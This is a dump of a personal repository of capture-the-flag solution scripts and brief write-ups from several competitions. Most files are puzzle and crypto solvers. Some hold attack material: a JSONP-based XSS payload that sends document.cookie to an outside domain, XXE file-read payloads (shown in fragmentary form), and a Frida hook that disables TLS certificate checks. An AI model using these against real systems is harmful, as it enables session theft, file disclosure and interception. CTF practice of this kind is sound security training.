├── README.md ├── bcactf ├── 1plus1 │ └── solve.py ├── README.md ├── bigpass2 │ └── solve.txt ├── cry50 │ └── solve.txt ├── exec1and2 │ └── solve.txt ├── largedata │ └── solve.py ├── lithp │ └── solve.py ├── nightisdark │ └── solve.txt ├── rachel │ └── solve.py ├── runescape1 │ └── solve.txt ├── shoppy │ └── solve.py ├── synthetic-cdo │ └── README.md └── tupperware │ └── solve.txt ├── bsidessf-2019 ├── README.md ├── blink │ ├── README.md │ └── blink.apk ├── pngsvg │ ├── README.md │ ├── final.svg │ └── payload.svg ├── weather-companion │ ├── README.md │ ├── urlconn-hook.js │ └── weather-companion.apk └── yayornay │ ├── Location.db │ ├── README.md │ └── YayorNay.apk ├── codefest2019 └── README.md ├── csaw-ctf-quals-2019 ├── README.md ├── babycsp │ └── solve.txt ├── callsite │ └── sice.txt ├── curves │ └── solve.py ├── des │ ├── FLAG_test.txt │ ├── custom.py │ ├── custom1.py │ ├── custom_bruter.py │ └── sample.txt ├── fault │ └── solve.py ├── sassy │ └── solve.txt ├── secure-file-storage │ ├── adminsice.py │ ├── dumper.py │ └── shilled ├── timelie │ ├── dump.py │ ├── music_commented.py │ ├── music_pumpum.py │ ├── musicrev_old.py │ └── runner_commented.py └── unagi │ ├── payload1.xml │ ├── payload2.xml │ ├── payload4.xml │ └── sample.xml ├── csaw-finals-2018 ├── DSA │ ├── README.md │ ├── handout_main.py │ ├── images │ │ ├── README.md │ │ └── firstblood.PNG │ └── solve.py ├── README.md ├── asr4cr │ ├── README.md │ ├── handout_ctf.py │ ├── step1.py │ └── step2.py ├── images │ ├── README.md │ └── personal.PNG └── online-previewer │ ├── README.md │ └── images │ ├── README.md │ ├── web400-1.PNG │ └── web400-2.PNG ├── gccs-finals-2017 ├── GCCS 2017 Finals report-Day2.pdf └── README.md ├── hackit-ethereumctf-onsite ├── 0x00.md ├── 0x01.md ├── 0x02.sol ├── 0x03.sol ├── 0x04.sol └── README.md ├── hitcon18 ├── ev3-basic │ └── solve_basic.py └── ev3-scanner │ └── solve_scanner.py ├── insahack ├── README.md ├── drone │ ├── sensor.tsv │ └── solve.py └── xhell │ └── solve.py ├── intigritictf-2018 └── README.md ├── nullconctf2019 ├── README.md ├── mlauth │ ├── README.md │ └── solve_ml.py └── proton │ ├── brute_down.py │ ├── brute_up.py │ └── stage2.js ├── otterctf-2018 ├── README.md └── memory-forensics │ ├── General-Info.md │ ├── Graphics-Is-For-Weak.md │ ├── HideAndSeek.md │ ├── Name-Game-1.md │ ├── Playtime.md │ ├── README.md │ ├── Recovery.md │ ├── SillyRick.md │ ├── Whats-the-password.md │ └── bit-by-bit.md ├── ritsec-2018 ├── DarkpearAI │ ├── README.md │ └── dh-solve.sage ├── README.md ├── checkoutcoolfilter │ ├── README.md │ └── solve_filter.py ├── spaceforces │ └── README.md ├── tangledweb │ ├── README.md │ └── solver.py └── whatthefgck │ └── README.md ├── tuctf-2018 ├── README.md └── shoop │ ├── README.md │ └── shill.py ├── utctf-2019 ├── Airport-security │ └── solve.py ├── Alice-Bob-Meme │ └── solve.sage ├── README.md ├── crypto-basics │ └── binary.txt ├── jacobi-encryption │ ├── README.md │ ├── flag.enc │ └── solve_jacobi.py └── tale-of-two-cities │ └── solve.py ├── volgactf2019 ├── LG │ └── solve.py └── shadowcrack │ └── solve.py └── xmasctf-2018 ├── README.md ├── misc ├── dilemma │ ├── pwndilemma.py │ └── trace.txt ├── krampus │ └── solve.txt ├── transmission │ └── solve.py └── weirdsequences.md ├── web ├── bu77on │ └── README.md ├── luckynum │ └── luckysolver.py ├── nologin │ └── README.md ├── reindeerandcookies │ ├── README.md │ └── pwn.sh └── siberian │ └── README.md └── webcry ├── lapland-monolith └── solve.py └── lapland └── solve.py /README.md: -------------------------------------------------------------------------------- 1 | # My-CTF-Solutions 2 | Dump of codes for the challenges I attempted / solved in various Capture the Flag challenges. Not intended to be very tidy and clean. I was tired of dumping codes on gist. So, will use this from now on. 3 | 4 | For proper writeups, go to my [website](https://aadityapurani.com) 5 | -------------------------------------------------------------------------------- /bcactf/1plus1/solve.py: -------------------------------------------------------------------------------- 1 | from itertools import * 2 | 3 | f = open('one.txt', 'r') 4 | x = f.readline().strip('\n') 5 | x = x.split(' ') 6 | f1 = open('two.txt', 'r') 7 | xx = f1.readline().strip('\n') 8 | xx = xx.split(' ') 9 | finale = [] 10 | 11 | 12 | for i,j in zip(x, xx): 13 | finale.append(chr(int(i[2:],16)+int(j[2:],16))) 14 | 15 | print ''.join(finale) 16 | 17 | #bcactf{1_h0p3_y0u_us3_pyth0n} 18 | -------------------------------------------------------------------------------- /bcactf/README.md: -------------------------------------------------------------------------------- 1 | # BCACTF 2019 2 | 3 | Played a bit at the end to help teach `dcua-school` on how to ctf. Turned out to be a pretty boring CTF. 4 | -------------------------------------------------------------------------------- /bcactf/bigpass2/solve.txt: -------------------------------------------------------------------------------- 1 | 75 target 2 | bcactf{88888888821} 3 | -------------------------------------------------------------------------------- /bcactf/cry50/solve.txt: -------------------------------------------------------------------------------- 1 | Base64 2 | Base32 3 | 4 | key: SALT 5 | vignere keyed afterwards. 6 | 7 | ct/pt 8 | lhlm oad lamaew eyhmgs. lg i sxsro rgu ntee qhj a qesg? dbfcp rgu stne xtve tm lhtl xac, b’dl rh wadr gn jhm ayw zayw at zowr. 9 | mvscey{bu57_j0n_o4i7_kgbhmffhlqe} bfm, te htjnpw, feim lixx at hhf’t mx ko dbepwx… 10 | 11 | that was simple enough. so i heard you came for a flag? since you have made it this far, i’ll go easy on you and hand it over. 12 | bcactf{ju57_y0u_w4i7_znjhbmnhaxm} but, be warned, next time it won’t be so simple… 13 | 14 | Flag: bcactf{ju57_y0u_w4i7_znjhbmnhaxm} 15 | -------------------------------------------------------------------------------- /bcactf/exec1and2/solve.txt: -------------------------------------------------------------------------------- 1 | For part-1: 2 | Awfully designed RE. Just do strings, and decode brainfuck code 3 | 4 | bcactf{3x3cut4bl3s_r_fun_124jher089245} 5 | 6 | For part-2: 7 | A much better designed RE, Do dynamic debugging using lldb. Return rand 1. Do rot-10 on that string. 8 | -------------------------------------------------------------------------------- /bcactf/largedata/solve.py: -------------------------------------------------------------------------------- 1 | import os 2 | import collections 3 | 4 | tp = "" 5 | zaje = [] 6 | flag = "" 7 | 8 | def most_common(s): 9 | return collections.Counter(s).most_common(1)[0][0] 10 | 11 | for i in xrange(0, 28): 12 | if tp != "": 13 | zaje.append(tp) 14 | tp = "" 15 | if i == 27: 16 | break 17 | for j in xrange(0, 100): 18 | finale = 0 19 | pathz = "/path/to/bcactf/bigdata/OUT/"+str(i)+"/"+str(j) 20 | f = open(pathz, 'r') 21 | xx = f.readline().strip('\n') 22 | lenz = len(xx) 23 | for x in xx: 24 | finale += ord(x) 25 | tp+=chr(finale//lenz) 26 | #print zaje 27 | for z in zaje: 28 | flag+=most_common(z) 29 | 30 | print flag 31 | 32 | #bcactf{crunch1ng_num5_c00l} 33 | -------------------------------------------------------------------------------- /bcactf/lithp/solve.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python 2 | # Ref: https://arxiv.org/pdf/1507.05956.pdf 3 | # Lowkey Interpreter in Python 4 | # <3 from knapstack - helping dcua-school 5 | 6 | # DEBUG 7 | #ins="caddadddddr" 8 | #(( !\"#$%&'\(\)*+,-./)(0123456789)(:;<=>?@)(ABCDEFGHIJKLMNOPQRSTUVWXYZ)(\[\\\]^_`)(abcdefghijklmnopqrstuvwxyz)(\{|\}~)) 9 | 10 | 11 | boxes = ["!\"#$%&'\(\)*+,-./", "0123456789", ":;<=>?@", "ABCDEFGHIJKLMNOPQRSTUVWXYZ", "\[\\\]^_`", "abcdefghijklmnopqrstuvwxyz", "\{|\}~"] 12 | ins_list =['cadadddddr', ' caddadddddr', ' caadddddr', ' caddadddddr', ' cadddddddddddddddddddadddddr', ' cadddddadddddr', ' caaddddddr', ' cadddddddddddadddr', ' cadadr', ' cadddddadr', ' cadddddddadr', ' caddddaddddr', ' caddddddddadr', ' caddddadr', ' cadddddadr', ' cadddadr', ' cadddadddddr', ' caddddaddddr', ' cadddddddddddddddadddddr', ' cadddddddddddddddddadddr', ' caadr', ' caddddddadddddr', ' cadddddddddddddddddadddr', ' caddddadr', ' caddddddddddddadddr', ' caddddddddddddadddddr', ' cadadr', ' cadddddddddddddadddddr', ' caddddddadddr', ' caddddaddddr', ' cadadr', ' cadddddadr', ' caddddaddddr', ' caddddadr', ' caddddddddddddddddddddddadddddr', ' cadddadr', ' caddddddddddddddddddadddr', ' caadr', ' caddddddddddddadddr', ' caddddadddddr', ' cadar', ' caddaddddddr'] 13 | 14 | 15 | def lisp_translate(ins): 16 | inz_len = len(ins) 17 | j = inz_len 18 | index = 0 19 | temp=[] 20 | slow_ptr = 0 21 | accessed = 0 22 | ptr_idx = -2 23 | 24 | while j > 2: 25 | if ins[ptr_idx] == 'd': 26 | if len(temp) == 1: 27 | slow_ptr+=1 28 | else: 29 | index+=1 30 | elif ins[ptr_idx] == 'a': 31 | if not accessed: 32 | temp.append(boxes[index]) 33 | accessed = 1 34 | else: 35 | return temp[0][slow_ptr] 36 | ptr_idx -=1 37 | j -=1 38 | 39 | flag = "" 40 | for i in ins_list: 41 | flag+=lisp_translate(i) 42 | 43 | print flag.replace("]","_").replace("\\","{").replace("\"","!").replace("|","}") 44 | 45 | #bcactf{L157_8453d_pR0gR4Mm1nG_15_4w3S0Me!} 46 | -------------------------------------------------------------------------------- /bcactf/nightisdark/solve.txt: -------------------------------------------------------------------------------- 1 | http://rhllor.xyz/fl4m30fV3r1745burn5_Z2l2ZSBzdHJlbmd0aCB0byBoaXMgc3dvcmQ/ 2 | 3 | Easy indication of Web archive 4 | 5 | https://web.archive.org/web/20190614021723/http://rhllor.xyz/fl4m30fV3r1745burn5_Z2l2ZSBzdHJlbmd0aCB0byBoaXMgc3dvcmQ/ 6 | 7 | bcactf{p33r1ng_1n70_7h3_p457_Ymxlc3NlZHZpZXc} 8 | -------------------------------------------------------------------------------- /bcactf/rachel/solve.py: -------------------------------------------------------------------------------- 1 | # Found from OCR automation using image-magick and tesseract 2 | flag = 820921601166721424573282546345206805820898697321521913920196691573868657577500743744203737234698 3 | print(int_to_hex(flag)) 4 | 5 | def int_to_hex(inp): 6 | hexed = hex(inp) 7 | return bytearray.fromhex(hexed[2:]).decode() 8 | 9 | #bcactf{0p71c4lly_r3c0gn1z3d_ch4r4c73rs} 10 | -------------------------------------------------------------------------------- /bcactf/runescape1/solve.txt: -------------------------------------------------------------------------------- 1 | Runic code, convert to English Alphabet and use https://quipqiup.com Frequency Substitution Cipher. Cancerous challenge 2 | -------------------------------------------------------------------------------- /bcactf/shoppy/solve.py: -------------------------------------------------------------------------------- 1 | import sys 2 | 3 | 4 | def solver(inp): 5 | bro = inp.split(" ") 6 | got_b = 0 7 | got_c = 0 8 | got_d = 0 9 | cost = int(bro[-1]) 10 | total_len = len(bro) 11 | for i in xrange(0, total_len-1): 12 | if bro[i] == 'A': 13 | cost = cost - 45 14 | elif bro[i] == 'B': 15 | if not got_b: 16 | cost = cost - 52 17 | got_b=1 18 | else: 19 | cost = cost - 46.8 20 | got_b=0 21 | elif bro[i] == 'C': 22 | if not got_c: 23 | cost = cost - 67 24 | got_c = 1 25 | else: 26 | cost = cost - 33.5 27 | got_c = 0 28 | elif bro[i] == 'D': 29 | if got_d != 2: 30 | cost = cost - 75 31 | got_d += 1 32 | else: 33 | got_d = 0 34 | continue 35 | if cost < 0: 36 | return -1 37 | else: 38 | return cost 39 | 40 | def round_up(x, place): 41 | return round(x + 5 * 10**(-1 * (place + 1)), place) 42 | 43 | def main(): 44 | ques = [] 45 | for line in sys.stdin: 46 | if line != '' or line !='\n': 47 | ques.append(line.strip('\n')) 48 | ans = [] 49 | for q in ques: 50 | if solver(q) == -1: 51 | ans.append(str(-1)) 52 | else: 53 | ans.append(str(round_up(solver(q),2))[:-1]) 54 | ans1="" 55 | for a in ans: 56 | ans1 += a 57 | ans1 +="\n" 58 | print ans1.rstrip("\n") 59 | 60 | main() 61 | -------------------------------------------------------------------------------- /bcactf/synthetic-cdo/README.md: -------------------------------------------------------------------------------- 1 | Outline chars, difference black under base of l and not under 1. Image reconstruction. 2 | 3 | bcactf{11l11lll11ll1l1l1ll111l1111lll1111l111l11lll1} 4 | -------------------------------------------------------------------------------- /bcactf/tupperware/solve.txt: -------------------------------------------------------------------------------- 1 | Tupper Algorithm, Wrote manual decryption. From words num to decimal and Used Tupper Self Referential Method. 2 | 3 | and then I basically plugged in k into: https://keelyhill.github.io/tuppers-formula/ 4 | -------------------------------------------------------------------------------- /bsidessf-2019/README.md: -------------------------------------------------------------------------------- 1 | # BSides CTF 2019 2 | Hosted by Google & Facebook 3 | San Francisco (on-site) 4 | 5 | Rank - 1 6 | 7 | 8 | # Under-Construction 9 | -------------------------------------------------------------------------------- /bsidessf-2019/blink/README.md: -------------------------------------------------------------------------------- 1 | # Blink (50 points) 2 | Category: Mobile 3 | -------------------------------------------------------------------------------- /bsidessf-2019/blink/blink.apk: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/aadityapurani/My-CTF-Solutions/0c21034d27d957cb2509bf1198457e1e6e39fb82/bsidessf-2019/blink/blink.apk -------------------------------------------------------------------------------- /bsidessf-2019/pngsvg/README.md: -------------------------------------------------------------------------------- 1 | # PNGSVG 2 | 3 | Category: Web 4 | 5 | First, I checked whether there is a possibility for `ImageTragick` vulnerability. Next, I tried using `img` to fetch external image hosted on my server. Which gave me a hit with user-agent `CairoSVG`. 6 | 7 | 8 | `CairoSVG 2.3.0` is the latest version and is only compatible in python. There were 2 (or 3 although not a framework) good candidates for framework - Flask and Django. Third one being `SimpleHTTPServer` to serve files. 9 | 10 | First, we need to get either RCE or XXE. I thought to first target for XXE. 11 | 12 | ```xml 13 | ]> 14 | 15 | test &xxe; test 16 | 17 | ``` 18 | 19 | It will generate a png with the content of passwd. But, the image is too small to fit everything. Hence, you can tweak the width parameter to make it wider. The max amount of it was 34,000 as after that the server used to timeout while conversion 20 | So, keeping it 20,000 should do the job. 21 | 22 | Hence, now we have to arbitrary file read. It's not well RCE so I cannot list out the file name. So, we can either guess the flag path or either file the directories. 23 | 24 | First things First, 25 | 26 | I checked `/etc/passwd` which had `/home/svgmagic` . Hence the following was tried next 27 | 28 | ``` 29 | /home/svgmagic/flag.txt 30 | /home/flag.txt 31 | /flag.txt 32 | /var/flag.txt 33 | /tmp/flag.txt 34 | /var/www/html/flag.txt 35 | /var/www/flag.txt 36 | ``` 37 | 38 | Still no success. Hence, we need to try harder. I suspected the flag being in the current working directory. To find current working directory. We have to first find process-id of the current process & then do 39 | `/proc//cwd/`. 40 | 41 | I dumped `/proc/self/status` which gave me pid of the current running process. The process was `Gunicorn` which is used to serve flask files. 42 | 43 | The process id was 28. Hence, I tried `/proc/28/cwd/flag.txt` , nope no luck. Apparently, we dumped all the proc files & docker files with no success. 44 | 45 | Then suddenly, we crafted a payload 46 | 47 | ```xml 48 | ]> 49 | 50 | test &xxe; test 51 | 52 | ``` 53 | 54 | After processing that to PNG, It gave us the flag. 55 | 56 | #### CTF{haha_no_imagemagick_sorry} 57 | -------------------------------------------------------------------------------- /bsidessf-2019/pngsvg/final.svg: -------------------------------------------------------------------------------- 1 | 2 | ]> 3 | 4 | test &xxe; test 5 | 6 | -------------------------------------------------------------------------------- /bsidessf-2019/pngsvg/payload.svg: -------------------------------------------------------------------------------- 1 | 2 | ]> 3 | 4 | test &xxe; test 5 | 6 | -------------------------------------------------------------------------------- /bsidessf-2019/weather-companion/README.md: -------------------------------------------------------------------------------- 1 | # Weather Companion (300 Points) 2 | Category: Mobile 3 | -------------------------------------------------------------------------------- /bsidessf-2019/weather-companion/urlconn-hook.js: -------------------------------------------------------------------------------- 1 | Java.perform(function(){ 2 | 3 | // Step - 1 4 | 5 | var array_list = Java.use("java.util.ArrayList"); 6 | var ApiClient = Java.use('com.android.org.conscrypt.TrustManagerImpl'); 7 | 8 | ApiClient.checkTrustedRecursive.implementation = function(a1, a2, a3, a4, a5, a6) { 9 | var k = array_list.$new(); 10 | return k; 11 | } 12 | 13 | 14 | // Step - 2 15 | 16 | console.log("Hookin Java"); 17 | 18 | const StringBuilder = Java.use('java.lang.StringBuilder'); 19 | 20 | StringBuilder.$init.overload('java.lang.String').implementation = function (arg) { 21 | var partial = ""; 22 | var result = this.$init(arg); 23 | console.log('new StringBuilder("' + result + '");') 24 | return result; 25 | } 26 | 27 | console.log("Hooking new StringBuilder(java.lang.String)"); 28 | 29 | 30 | // Step - 3 31 | 32 | StringBuilder.toString.implementation = function () { 33 | var result = this.toString(); 34 | console.log('StringBuilder.toString(); => ' + result) 35 | return result; 36 | } 37 | 38 | console.log("Hooking StringBuilder.toString() hooked"); 39 | 40 | }, 0); 41 | -------------------------------------------------------------------------------- /bsidessf-2019/weather-companion/weather-companion.apk: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/aadityapurani/My-CTF-Solutions/0c21034d27d957cb2509bf1198457e1e6e39fb82/bsidessf-2019/weather-companion/weather-companion.apk -------------------------------------------------------------------------------- /bsidessf-2019/yayornay/Location.db: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/aadityapurani/My-CTF-Solutions/0c21034d27d957cb2509bf1198457e1e6e39fb82/bsidessf-2019/yayornay/Location.db -------------------------------------------------------------------------------- /bsidessf-2019/yayornay/README.md: -------------------------------------------------------------------------------- 1 | # Yay or Nay (200 Points) 2 | Category: Mobile 3 | -------------------------------------------------------------------------------- /bsidessf-2019/yayornay/YayorNay.apk: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/aadityapurani/My-CTF-Solutions/0c21034d27d957cb2509bf1198457e1e6e39fb82/bsidessf-2019/yayornay/YayorNay.apk -------------------------------------------------------------------------------- /codefest2019/README.md: -------------------------------------------------------------------------------- 1 | # Codefest 2019 2 | 3 | Solo'ed, and got 1st place. 4 | 5 | [Writeups](https://github.com/utcoalition/Public-CTF-Writeups/tree/master/codefestctf-2019) 6 | -------------------------------------------------------------------------------- /csaw-ctf-quals-2019/README.md: -------------------------------------------------------------------------------- 1 | # CSAW CTF Quals 2019 2 | 3 | Dump of script, nothing Interesting. Wait for writeups maybe? 4 | -------------------------------------------------------------------------------- /csaw-ctf-quals-2019/babycsp/solve.txt: -------------------------------------------------------------------------------- 1 | CSP : default-src 'self'; script-src 'self' *.google.com; connect-src * 2 | 3 | Instantly knew, that this is JSONP abusing. I think I prolly did something with this in plaidctf or dc quals - i can't recall. 4 | 5 | anyways, 6 | 7 | https://www.google.com/complete/search?client=chrome&jsonp=eval(alert(1337)); 8 | 9 | Defeated it at 278 bytes using https://eve.gd/2007/05/23/string-fromcharcode-encoder/ , my domain is bigass otherwise could be done is lesser 10 | 11 | Used 12 | 13 | fetch(String.fromCharCode(domain_in_decimal_csv)+document.cookie) 14 | encode and shilled 15 | -------------------------------------------------------------------------------- /csaw-ctf-quals-2019/callsite/sice.txt: -------------------------------------------------------------------------------- 1 | Generates crypto with given key and salt aa using crypt function 2 | 3 | so crypt(argv[2], "aa") == "aaGr6xly5gT42" and argv[1] == "400ca0" 4 | 5 | $ ./callsite 400cbb whatever 6 | FLAG{dummy} 7 | Wrong! 8 | -------------------------------------------------------------------------------- /csaw-ctf-quals-2019/curves/solve.py: -------------------------------------------------------------------------------- 1 | from pwn import * 2 | 3 | #context.log_level='DEBUG' 4 | r =remote('crypto.chal.csaw.io', 1000) 5 | i=2000 6 | while True: 7 | print i 8 | r.recvuntil("ret?") 9 | r.sendline(str(i)) 10 | ftw=r.recvline() 11 | ftw1=r.recvline() 12 | #print ftw1.strip('\n') 13 | if not "WRONGGG" in ftw1: 14 | print ftw1 15 | break 16 | else: 17 | i = i+1 18 | #continue 19 | # 20 | 14 Sep 21 | flag{use_good_params} 22 | -------------------------------------------------------------------------------- /csaw-ctf-quals-2019/des/FLAG_test.txt: -------------------------------------------------------------------------------- 1 | flag{csaw_rocks} 2 | -------------------------------------------------------------------------------- /csaw-ctf-quals-2019/des/custom.py: -------------------------------------------------------------------------------- 1 | from Crypto.Cipher import DES 2 | import binascii 3 | 4 | # known IV 5 | IV = '13371337' 6 | 7 | # Hashmap because offset is known 8 | known = { 9 | '09133337':'0', 10 | '09133338':'1', 11 | '09133339':'2', 12 | '09133340':'3', 13 | '09133341':'4', 14 | '09133342':'5', 15 | '09133343':'6', 16 | '09133344':'7', 17 | '09133345':'8', 18 | '09133346':'9', 19 | '09133348':'a', 20 | '09133349':'b', 21 | '09133350':'c', 22 | '09133351':'d', 23 | '09133352':'e', 24 | '09133353':'f' 25 | 26 | } 27 | 28 | # Always returns 8, because offset is known 29 | def getNibbleLength(offset): 30 | if str(offset)[0]=="9": # If first byte is '9', then increment length of input 31 | return len(str(offset))+1 32 | return len(str(offset)) # Else just return length of input 33 | 34 | def duck(aChr): 35 | try: 36 | return int(aChr) 37 | except: 38 | return "abcdef".index(aChr)+11 39 | 40 | # Encode text will have 8 blocks of output too 41 | def encodeText(plainText,offset): 42 | hexEncoded = plainText.encode("hex") # hex it again 43 | nibbleLen = getNibbleLength(offset) # Always 8 44 | output = "" # Nothing for now 45 | for i in range(0,len(hexEncoded),2): 46 | hexByte = hexEncoded[i:i+2] # club 2 bytes of hexEncoded 47 | try: 48 | output += str(duck(hexByte[0]) + offset).rjust(nibbleLen,"0") 49 | output += str(duck(hexByte[1]) + offset).rjust(nibbleLen,"0") 50 | except: 51 | continue 52 | return output 53 | 54 | # My hacky decoder ;) 55 | def decodeText(cipherText, offset): 56 | output = "" 57 | for i in range(0, len(cipherText), 8): 58 | shitByte = cipherText[i:i+8] 59 | try: 60 | output += known[shitByte] 61 | except Exception as e: 62 | print e 63 | print "Broke" 64 | continue 65 | hexDecoded = output.decode("hex") 66 | return hexDecoded 67 | 68 | # pads to make sure a block remains multiple of 8 bytes 69 | def padInput(input): 70 | bS = len(input)/8 71 | if len(input)%8 != 0: 72 | return input.ljust((bS+1)*8,"_") 73 | return input 74 | 75 | # Simple encryptor 76 | def desEncrypt(input,key): 77 | cipher = DES.new(key, DES.MODE_OFB, IV) 78 | msg = cipher.encrypt(padInput(input)) # pads input to fulfil block size 79 | return msg 80 | 81 | # Simple decryptor 82 | def desDecrypt(input, key): 83 | cipher = DES.new(key, DES.MODE_OFB, IV) 84 | msg = cipher.decrypt(input) 85 | return msg 86 | 87 | # unhex the key and saving it 88 | def createKey(hex,fileName): 89 | with open(fileName, 'wb') as f: 90 | f.write(binascii.unhexlify(hex)) 91 | 92 | # crux of the challenge 93 | def createChallenge(): 94 | createKey("01fe01fe01fe01fe","key1_test") # key should be in hex 95 | createKey("01fe01fe01fe01fe","key2_test") # key should be in hex 96 | 97 | plainText = open('FLAG_test.txt').read() # Flag in plaintext 98 | key1 = open('key1_test').read() # key1 i dunno 99 | 100 | byte = desEncrypt(plainText,key1) # desEncryption function called with key1 & pt 101 | 102 | key2 = open('key2_test').read() # key2 i dunno 103 | cipherText = desEncrypt(byte,key2) # two times encryption leet 104 | 105 | # make hex of your pre-final ct and encode it :bigbrainenergy: 106 | cipherText = encodeText(binascii.hexlify(cipherText),9133337) 107 | with open('FLAG_TEST.enc', 'w') as f: 108 | f.write(cipherText) 109 | f.close() 110 | 111 | # Decrypt shit 112 | with open('FLAG_TEST.enc', 'r') as f1: 113 | cts = f1.readlines()[0] 114 | 115 | prefinal_ct = decodeText(cts, 9133337) 116 | final_ct = binascii.unhexlify(prefinal_ct) 117 | 118 | ct_step1 = desDecrypt(final_ct, key2) 119 | ct_step0 = desDecrypt(ct_step1, key1) 120 | print "Finished: " 121 | print ct_step0 122 | 123 | createChallenge() 124 | -------------------------------------------------------------------------------- /csaw-ctf-quals-2019/des/custom1.py: -------------------------------------------------------------------------------- 1 | from Crypto.Cipher import DES 2 | import binascii 3 | 4 | # known IV 5 | IV = '13371337' 6 | 7 | # Hashmap because offset is known 8 | known = { 9 | '09133337':'0', 10 | '09133338':'1', 11 | '09133339':'2', 12 | '09133340':'3', 13 | '09133341':'4', 14 | '09133342':'5', 15 | '09133343':'6', 16 | '09133344':'7', 17 | '09133345':'8', 18 | '09133346':'9', 19 | '09133348':'a', 20 | '09133349':'b', 21 | '09133350':'c', 22 | '09133351':'d', 23 | '09133352':'e', 24 | '09133353':'f' 25 | 26 | } 27 | 28 | # Always returns 8, because offset is known 29 | def getNibbleLength(offset): 30 | if str(offset)[0]=="9": # If first byte is '9', then increment length of input 31 | return len(str(offset))+1 32 | return len(str(offset)) # Else just return length of input 33 | 34 | def duck(aChr): 35 | try: 36 | return int(aChr) 37 | except: 38 | return "abcdef".index(aChr)+11 39 | 40 | # Encode text will have 8 blocks of output too 41 | def encodeText(plainText,offset): 42 | hexEncoded = plainText.encode("hex") # hex it again 43 | nibbleLen = getNibbleLength(offset) # Always 8 44 | output = "" # Nothing for now 45 | for i in range(0,len(hexEncoded),2): 46 | hexByte = hexEncoded[i:i+2] # club 2 bytes of hexEncoded 47 | try: 48 | output += str(duck(hexByte[0]) + offset).rjust(nibbleLen,"0") 49 | output += str(duck(hexByte[1]) + offset).rjust(nibbleLen,"0") 50 | except: 51 | continue 52 | return output 53 | 54 | # My hacky decoder ;) 55 | def decodeText(cipherText, offset): 56 | output = "" 57 | for i in range(0, len(cipherText), 8): 58 | shitByte = cipherText[i:i+8] 59 | try: 60 | output += known[shitByte] 61 | except Exception as e: 62 | print e 63 | print "Broke" 64 | continue 65 | hexDecoded = output.decode("hex") 66 | return hexDecoded 67 | 68 | # pads to make sure a block remains multiple of 8 bytes 69 | def padInput(input): 70 | bS = len(input)/8 71 | if len(input)%8 != 0: 72 | return input.ljust((bS+1)*8,"_") 73 | return input 74 | 75 | # Simple encryptor 76 | def desEncrypt(input,key): 77 | cipher = DES.new(key, DES.MODE_OFB, IV) 78 | msg = cipher.encrypt(padInput(input)) # pads input to fulfil block size 79 | return msg 80 | 81 | # Simple decryptor 82 | def desDecrypt(input, key): 83 | cipher = DES.new(key, DES.MODE_OFB, IV) 84 | msg = cipher.decrypt(input) 85 | return msg 86 | 87 | # unhex the key and saving it 88 | def createKey(hex,fileName): 89 | with open(fileName, 'wb') as f: 90 | f.write(binascii.unhexlify(hex)) 91 | 92 | # crux of the challenge 93 | def createChallenge(): 94 | createKey("E1E1E1E1F0F0F0F0","key1_test") # key should be in hex 95 | createKey("E0E0E0E0F1F1F1F1","key2_test") # key should be in hex 96 | 97 | plainText = open('FLAG_test.txt').read() # Flag in plaintext 98 | key1 = open('key1_test').read() # key1 i dunno 99 | 100 | byte = desEncrypt(plainText,key1) # desEncryption function called with key1 & pt 101 | 102 | key2 = open('key2_test').read() # key2 i dunno 103 | cipherText = desEncrypt(byte,key2) # two times encryption leet 104 | 105 | # make hex of your pre-final ct and encode it :bigbrainenergy: 106 | cipherText = encodeText(binascii.hexlify(cipherText),9133337) 107 | with open('FLAG_TEST.enc', 'w') as f: 108 | f.write(cipherText) 109 | f.close() 110 | 111 | # Decrypt shit 112 | with open('FLAG_TEST.enc', 'r') as f1: 113 | cts = f1.readlines()[0] 114 | 115 | prefinal_ct = decodeText(cts, 9133337) 116 | final_ct = binascii.unhexlify(prefinal_ct) 117 | 118 | ct_step1 = desDecrypt(final_ct, key2) 119 | ct_step0 = desDecrypt(ct_step1, key1) 120 | print "Finished: " 121 | print ct_step0 122 | 123 | createChallenge() 124 | -------------------------------------------------------------------------------- /csaw-ctf-quals-2019/des/custom_bruter.py: -------------------------------------------------------------------------------- 1 | from Crypto.Cipher import DES 2 | import binascii 3 | import itertools 4 | import sys 5 | 6 | # Low data-set 7 | ''' 8 | combinatory=[ 9 | "011F011F010E010E", 10 | "1F011F010E010E01", 11 | "01E001E001F101F1", 12 | "E001E001F101F101", 13 | "01FE01FE01FE01FE", 14 | "FE01FE01FE01FE01", 15 | "1FE01FE00EF10EF1", 16 | "E01FE01FF10EF10E", 17 | "1FFE1FFE0EFE0EFE", 18 | "FE1FFE1FFE0EFE0E", 19 | "E0FEE0FEF1FEF1FE", 20 | "FEE0FEE0FEF1FEF1" 21 | ] 22 | ''' 23 | 24 | # wiki data-set 25 | ''' 26 | combinatory=[ 27 | "011F011F010E010E", 28 | "1F011F010E010E01", 29 | "01E001E001F101F1", 30 | "E001E001F101F101", 31 | "01FE01FE01FE01FE", 32 | "FE01FE01FE01FE01", 33 | "1FE01FE00EF10EF1", 34 | "E01FE01FF10EF10E", 35 | "1FFE1FFE0EFE0EFE", 36 | "FE1FFE1FFE0EFE0E", 37 | "E0FEE0FEF1FEF1FE", 38 | "FEE0FEE0FEF1FEF1", 39 | "E1E1E1E1F0F0F0F0", 40 | "1E1E1E1E0F0F0F0F", 41 | "0000000000000000", 42 | "FFFFFFFFFFFFFFFF", 43 | "1F1F1F1F0E0E0E0E", 44 | "E0E0E0E0F1F1F1F1", 45 | "FEFEFEFEFEFEFEFE", 46 | "0101010101010101"] 47 | ''' 48 | 49 | # NIST weak key list 50 | 51 | combinatory=[ 52 | "0101010101010101", 53 | "01011F1F01010E0E", 54 | "01011F1F01010E0E", 55 | "0101E0E00101F1F1", 56 | "0101FEFE0101FEFE", 57 | "011F011F010E010E", 58 | "011F1F01010E0E01", 59 | "011FE0FE010EF1FE", 60 | "011FFEE0010EFEF1", 61 | "01E001E001F101F1", 62 | "01E01FFE01F10EFE", 63 | "01E0E00101F1F101", 64 | "01E0FE1F01F1FE0E", 65 | "01FE01FE01FE01FE", 66 | "01FE1FE001FE0EF1", 67 | "01FEE01F01FEF10E", 68 | "01FEFE0101FEFE01", 69 | "1F01011F0E01010E", 70 | "1F011F010E010E01", 71 | "1F01E0FE0E01F1FE", 72 | "1F01FEE00E01FEF1", 73 | "1F1F01010E0E0101", 74 | 